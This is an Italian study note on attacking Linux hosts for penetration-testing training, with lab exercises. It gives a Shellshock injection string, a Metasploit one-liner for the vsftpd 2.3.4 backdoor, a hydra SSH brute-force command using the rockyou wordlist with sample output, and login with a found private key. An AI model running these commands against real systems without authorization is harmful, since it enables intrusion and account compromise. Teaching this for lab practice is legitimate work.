Linux Host Attacks

Difficoltà: Intermediate Time to Master: 2h Prerequisiti: ../00-Fundamentals/03-Linux-Fundamentals.md Lab: INE PTS labs / TryHackMe, Vulnversity, HTB, Lame

Obiettivo

Lato Linux il gioco cambia poco nella logica ma cambia parecchio nei dettagli: qui attacchi servizi e misconfigurazioni tipiche di un host Linux (SSH, servizi di rete datati, permessi errati) per ottenere un primo punto d’appoggio prima della post-exploitation. Se hai già visto il lato Windows, riconoscerai lo schema — versione vecchia, exploit pubblico, credenziali deboli — solo che qui i sospetti abituali si chiamano vsftpd, Samba e cron invece di SMB e RDP.

Concetti chiave

Superficie di attacco tipica Linux

Shellshock (CVE-2014-6271): cenno storico

Vulnerabilità in Bash che permetteva RCE tramite variabili d’ambiente malformate passate a script CGI (() {:; }; comando). Difficilmente la trovi ancora in produzione, ma resta un ottimo esempio didattico di command injection tramite header HTTP, ed è per questo che sopravvive in alcuni lab.

Misconfigurazioni comuni che aprono la porta all’accesso iniziale

Strumenti

Payload / Esempi

Esempio 1: vsftpd 2.3.4 backdoor (case study storico)

searchsploit vsftpd 2.3.4
msfconsole -q -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOSTS 10.10.10.5; run"

Spiegazione: la versione 2.3.4 di vsftpd distribuita da un mirror compromesso conteneva una backdoor: una connessione con username terminante in :) apriva una shell sulla porta 6200. Esempio classico per insegnare l’idea di “versione software = superficie di attacco nota”.

Esempio 2: brute force SSH mirato

hydra -l www-data -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.5 -t 4

Output atteso:

[22][ssh] host: 10.10.10.5   login: www-data   password: letmein123

Spiegazione: SSH tollera pochi tentativi paralleli prima di rallentare/bloccare; -t 4 mantiene il brute force sotto controllo evitando falsi negativi per timeout.

Esempio 3: chiave SSH privata trovata su uno share/backup

chmod 600 id_rsa
ssh -i id_rsa user@10.10.10.5

Spiegazione: se una chiave privata viene trovata durante l’enumeration (es. in un backup su FTP/NFS/SMB), i permessi vanno ristretti (600) altrimenti SSH rifiuta di usarla; e spesso la via di accesso più diretta, va sempre controllata prima del brute force.

Lab Hands-On

Lab 1: TryHackMe, Vulnversity (sezione servizi Linux)

Obiettivo: enumerare e sfruttare un servizio Linux vulnerabile per ottenere accesso iniziale Difficulty: Facile Time: 40 min

Walkthrough breve:

1. Enumera tutti i servizi con nmap -sV -sC
2. Cerca exploit pubblici per ogni versione identificata con searchsploit
3. Ottieni una shell iniziale e verifica l’utente corrente

Common Mistakes

• Saltare l’enumerazione della versione esatta -> impossibile trovare l’exploit giusto con searchsploit
• Non controllare permessi/chiavi trovate durante l’enumeration prima del brute force -> si perde tempo su un attacco più lento quando esisteva già un accesso diretto
• Brute force SSH aggressivo senza throttling -> falsi negativi per timeout o rate limiting del servizio

Link Utili

• vsftpd 2.3.4 backdoor advisory
• Exploit-DB

Connessioni

• Prerequisito: ../00-Fundamentals/03-Linux-Fundamentals.md
• Prossimo Step: 03-Password-Attacks-Hydra-John-Hashcat.md
• Combinazione con: ../08-Exploitation-PostEx/04-Privilege-Escalation-Linux.md

Checklist di padronanza

• So identificare e sfruttare servizi Linux con exploit pubblici noti
• So eseguire un brute force SSH mirato e controllato
• So riconoscere e usare chiavi SSH trovate durante l’enumeration
• Conosco a livello concettuale Shellshock e le misconfigurazioni cron/sudo più comuni